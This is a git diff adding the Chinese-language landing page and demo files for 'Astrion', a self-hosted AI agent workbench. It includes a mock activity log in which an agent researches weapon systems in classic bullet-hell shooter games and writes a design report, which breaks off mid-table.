+ + + + + + diff --git a/website-design/exp/anim3-demo.html b/website-design/exp/anim3-demo.html new file mode 100644 index 00000000..189fe646 --- /dev/null +++ b/website-design/exp/anim3-demo.html @@ -0,0 +1,22 @@ + + + + + +修改记录动画 demo + + + + + + +
+

自动播放;收盒后自动轮播,按下卡片暂停 5 秒。

+
+
+ + + + + + diff --git a/website-design/exp/anim4-demo.html b/website-design/exp/anim4-demo.html new file mode 100644 index 00000000..b2c770a7 --- /dev/null +++ b/website-design/exp/anim4-demo.html @@ -0,0 +1,22 @@ + + + + + +版本控制动画 demo + + + + + + +
+

自动循环播放:赶工 → 闯祸 → 惊吓 → 时光机倒流 → 归来。

+
+
+ + + + + + diff --git a/website-design/exp/demo.html b/website-design/exp/demo.html new file mode 100644 index 00000000..ae56bf6b --- /dev/null +++ b/website-design/exp/demo.html @@ -0,0 +1,88 @@ + + + + + + Astrion + + + + + + + + + +
+ + + + + + + + diff --git a/website-design/exp/index.html b/website-design/exp/index.html new file mode 100644 index 00000000..375c578e --- /dev/null +++ b/website-design/exp/index.html @@ -0,0 +1,190 @@ + + + + + +Astrion — 住在你机器上的智能体工作台 + + + + + + + + + + + + + + +
+ +
+ +
+ + +
+
+

开源 · 自托管 · 本机优先

+
+

Astrion

+
+

住在你机器上的智能体工作台。开源、自托管,可以处理你的本地代码和工作,也可以部署在云端提供多人服务,体验一致。

+ +

+ Terminal (beta) + + Web + + Windows + + macOS + + Android +

+
+
+ + +
+
+

Demo

+

它工作时的样子

+

下面是真实运行的 Astrion 界面,接着一份静态演示数据。可以点击切换对话、展开工具记录、打开右侧快捷窗口查看子智能体。

+
+
+
+ +
+
+

演示环境只含静态数据;实际使用由你自己的模型驱动。

+
+ + +
+
+

Features

+

围绕「放心交给它做事」设计

+
+ +
+ +
+
+

01

+

计划 / 询问 / 执行

+

三种运行模式决定它什么时候动手。
计划模式只出方案,批准后才开始改;
询问模式先讨论清楚再开工;
执行模式直接做完再汇报。

+
+ +
+ +
+
+

02

+

沙箱与网络授权

+

命令默认在操作系统沙箱里执行,写文件、访问网络都要经过授权。
macOS 使用系统沙箱,Windows 通过 WSL2 获得完整隔离;
网络权限单独开关,与文件权限互不影响。

+
+ +
+ +
+
+

03

+

修改记录

+

每一次文件编辑都留下一条 diff:
改了哪个文件、加了几行、删了几行。
按任务逐条查看,也可以单独撤销其中任意一次修改。

+
+ +
+ +
+
+

04

+

版本控制

+

每条消息自动成为一个检查点。
发现方向不对时,回退到任意一条消息之前——
对话和文件一起还原,不用手工收拾残局。

+
+ +
+ +
+
+ + +
+
+

FAQ

+

常见问题

+
+
+ +
+ 运行 Astrion 需要什么环境? +

Python 3.9+ 和 Node.js 18+。克隆仓库后安装依赖、构建前端,一条命令启动,默认监听 8091 端口。macOS、Linux、Windows(WSL2)都可以运行。

+
+ +
+ 我的数据存在哪里? +

全部在你自己的机器上:对话记录、工作区文件、日志默认放在 ~/.astrion/astrion/ 下,可以通过环境变量整体搬迁。不经过任何第三方服务器。

+
+ +
+ 宿主机模式和 Docker 模式有什么区别? +

宿主机模式下 Astrion 直接操作你的本机文件,适合处理日常工作和本地代码;Docker 模式把任务放进容器执行,适合需要隔离或多人共用的部署。两种模式界面与能力一致,数据可以互通。

+
+ +
+ 支持哪些模型? +

任何 OpenAI 兼容接口都可以接入:官方 API、聚合网关、本地推理服务都行。主智能体和子智能体可以分别配置不同的模型。

+
+ +
+ 可以部署给多人使用吗? +

可以。部署到服务器后自带多用户体系,每人独立工作区,通过浏览器访问,也有 Android 客户端。同一套界面,本机和云端体验一致。

+
+ +
+ 它执行命令安全吗? +

有四层控制:权限模式决定哪些操作需要批准;命令默认在 OS 沙箱内运行;网络访问单独授权;所有文件修改留有记录可以随时回退。你可以从「每条命令都要批准」一路调到「完全放开」,粒度自己定。

+
+ +
+
+ +
+ + + + + + + + + + + + diff --git a/website-design/exp/mock/activity-sub_1_1787459389_fd8265.json b/website-design/exp/mock/activity-sub_1_1787459389_fd8265.json new file mode 100644 index 00000000..2a22486a --- /dev/null +++ b/website-design/exp/mock/activity-sub_1_1787459389_fd8265.json @@ -0,0 +1 @@ +{"success": true, "data": {"status": "completed", "entries": [{"type": "progress", "id": "call_8f63e3970a084bb0ba989596", "tool": "todo_create", "status": "running", "args": {"overview": "调研经典弹幕射击游戏武器系统并生成调研报告", "tasks": [{"title": "创建交付目录 deliverables_dir"}, {"title": "网络搜索东方Project武器系统资料"}, {"title": "网络搜索怒首领蜂/雷电武器系统资料"}, {"title": "网络搜索像素STG子弹视觉设计资料"}, {"title": "整理撰写 weapon_research.md 调研报告"}, {"title": "验证报告文件并提交 finish_task"}]}, "ts": 1787459392033}, {"type": "progress", "id": "call_8f63e3970a084bb0ba989596", "tool": "todo_create", "status": "completed", "args": {"overview": "调研经典弹幕射击游戏武器系统并生成调研报告", "tasks": [{"title": "创建交付目录 deliverables_dir"}, {"title": "网络搜索东方Project武器系统资料"}, {"title": "网络搜索怒首领蜂/雷电武器系统资料"}, {"title": "网络搜索像素STG子弹视觉设计资料"}, {"title": "整理撰写 weapon_research.md 调研报告"}, {"title": "验证报告文件并提交 finish_task"}]}, "ts": 1787459392035}, {"type": "progress", "id": "call_1133390ecf464fc48336410b", "tool": "run_command", "status": "running", "args": {"command": "mkdir -p /Users/demo/starraid/research/weapon_system && ls -la /Users/demo/starraid/research/weapon_system", "timeout": 30}, "ts": 1787459392038}, {"type": "progress", "id": "call_1133390ecf464fc48336410b", "tool": "run_command", "status": "completed", "args": {"command": "mkdir -p /Users/demo/starraid/research/weapon_system && ls -la /Users/demo/starraid/research/weapon_system", "timeout": 30}, "ts": 1787459392094}, {"type": "progress", "id": "call_3f3016d3cca24fc88abae947", "tool": "web_search", "status": "running", "args": {"query": "东方Project 武器系统 shot types 符卡 火力 Power 系统 详解", "max_results": 8}, "ts": 1787459394529}, {"type": "progress", "id": "call_3f3016d3cca24fc88abae947", "tool": "web_search", "status": "completed", "args": {"query": "东方Project 武器系统 shot types 符卡 火力 Power 系统 详解", "max_results": 8}, "ts": 1787459398155}, {"type": "progress", "id": "call_3c55f69e9e984d2496690be8", "tool": "web_search", "status": "running", "args": {"query": "DoDonPachi weapon system laser shot type hyper combo", "max_results": 8}, "ts": 1787459398157}, {"type": "progress", "id": "call_3c55f69e9e984d2496690be8", "tool": "web_search", "status": "completed", "args": {"query": "DoDonPachi weapon system laser shot type hyper combo", "max_results": 8}, "ts": 1787459403781}, {"type": "progress", "id": "call_47a2ab963ed84a99a356ca16", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "Touhou shot types comparison Reimu Marisa spread homing focused shot"}, "ts": 1787459406580}, {"type": "progress", "id": "call_47a2ab963ed84a99a356ca16", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "Touhou shot types comparison Reimu Marisa spread homing focused shot"}, "ts": 1787459411895}, {"type": "progress", "id": "call_f030222fd9c34bc5bc84a990", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "雷电 Raiden weapon system upgrade vulcan laser missile power-up"}, "ts": 1787459411898}, {"type": "progress", "id": "call_f030222fd9c34bc5bc84a990", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "雷电 Raiden weapon system upgrade vulcan laser missile power-up"}, "ts": 1787459417674}, {"type": "progress", "id": "call_f07eebd68da741a5b946598a", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "pixel art shmup bullet design visibility readability red bullets danmaku color"}, "ts": 1787459420862}, {"type": "progress", "id": "call_f07eebd68da741a5b946598a", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "pixel art shmup bullet design visibility readability red bullets danmaku color"}, "ts": 1787459426631}, {"type": "progress", "id": "call_a89b9f3cf5d044538562d103", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "R-Type wave cannon charge shot Gradius options 蓄力 环绕 子机"}, "ts": 1787459426634}, {"type": "progress", "id": "call_a89b9f3cf5d044538562d103", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "R-Type wave cannon charge shot Gradius options 蓄力 环绕 子机"}, "ts": 1787459431671}, {"type": "progress", "id": "call_e3ce5ef5790a44a6b263f9f9", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459435238}, {"type": "progress", "id": "call_e3ce5ef5790a44a6b263f9f9", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459436934}, {"type": "progress", "id": "call_13b3e5a0496841c097517a5b", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/Mountain_of_Faith"}, "ts": 1787459436938}, {"type": "progress", "id": "call_13b3e5a0496841c097517a5b", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/Mountain_of_Faith"}, "ts": 1787459438813}, {"type": "progress", "id": "call_e16891deaf834b7694d6134d", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://jamessoftwareco.fandom.com/wiki/DoDonPachi_DaiOuJou"}, "ts": 1787459443144}, {"type": "progress", "id": "call_e16891deaf834b7694d6134d", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://jamessoftwareco.fandom.com/wiki/DoDonPachi_DaiOuJou"}, "ts": 1787459444853}, {"type": "progress", "id": "call_a1453688199b44029d79f15e", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://thwiki.cc/%E6%B8%B8%E6%88%8F%E6%94%BB%E7%95%A5/STG%E6%9C%AF%E8%AF%AD"}, "ts": 1787459444857}, {"type": "progress", "id": "call_a1453688199b44029d79f15e", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://thwiki.cc/%E6%B8%B8%E6%88%8F%E6%94%BB%E7%95%A5/STG%E6%9C%AF%E8%AF%AD"}, "ts": 1787459447916}, {"type": "progress", "id": "call_090bf02f546040dfb2f812ca", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi"}, "ts": 1787459450730}, {"type": "progress", "id": "call_090bf02f546040dfb2f812ca", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi"}, "ts": 1787459452732}, {"type": "progress", "id": "call_fd111badf61e4a24829ba69f", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "DoDonPachi 怒首领蜂 武器 激光 散弹 强化 Power 系统 CAVE"}, "ts": 1787459452737}, {"type": "progress", "id": "call_fd111badf61e4a24829ba69f", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "DoDonPachi 怒首领蜂 武器 激光 散弹 强化 Power 系统 CAVE"}, "ts": 1787459457781}, {"type": "progress", "id": "call_26446649de2a4b1e959a659e", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi_DaiOuJou"}, "ts": 1787459463962}, {"type": "progress", "id": "call_26446649de2a4b1e959a659e", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi_DaiOuJou"}, "ts": 1787459468140}, {"type": "progress", "id": "call_ec93bb6a5c7248948a008976", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "东方妖妖梦 魔理沙 激光 灵梦 诱导 封魔针 自机 武器 视觉 效果"}, "ts": 1787459468145}, {"type": "progress", "id": "call_ec93bb6a5c7248948a008976", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "东方妖妖梦 魔理沙 激光 灵梦 诱导 封魔针 自机 武器 视觉 效果"}, "ts": 1787459474982}, {"type": "progress", "id": "call_cd1c461547064ba6b12005d5", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "弹幕 子弹类型 命名 米弹 针弹 玉弹 蝴蝶弹 自机狙 东方 弹种"}, "ts": 1787459482321}, {"type": "progress", "id": "call_cd1c461547064ba6b12005d5", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "弹幕 子弹类型 命名 米弹 针弹 玉弹 蝴蝶弹 自机狙 东方 弹种"}, "ts": 1787459486914}, {"type": "progress", "id": "call_b93e090bd4874a0b8a0b400c", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Gradius power meter upgrade system speed missile double laser options 升级系统"}, "ts": 1787459486920}, {"type": "progress", "id": "call_b93e090bd4874a0b8a0b400c", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Gradius power meter upgrade system speed missile double laser options 升级系统"}, "ts": 1787459492805}, {"type": "progress", "id": "call_4bb90578c66c48b29576e9e0", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [2, 3, 4]}, "ts": 1787459506394}, {"type": "progress", "id": "call_4bb90578c66c48b29576e9e0", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [2, 3, 4]}, "ts": 1787459506394}, {"type": "progress", "id": "call_bea4fe7c607c42b7934c370d", "tool": "write_file", "status": "running", "args": {"file_path": "research/weapon_system/weapon_research.md", "content": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | 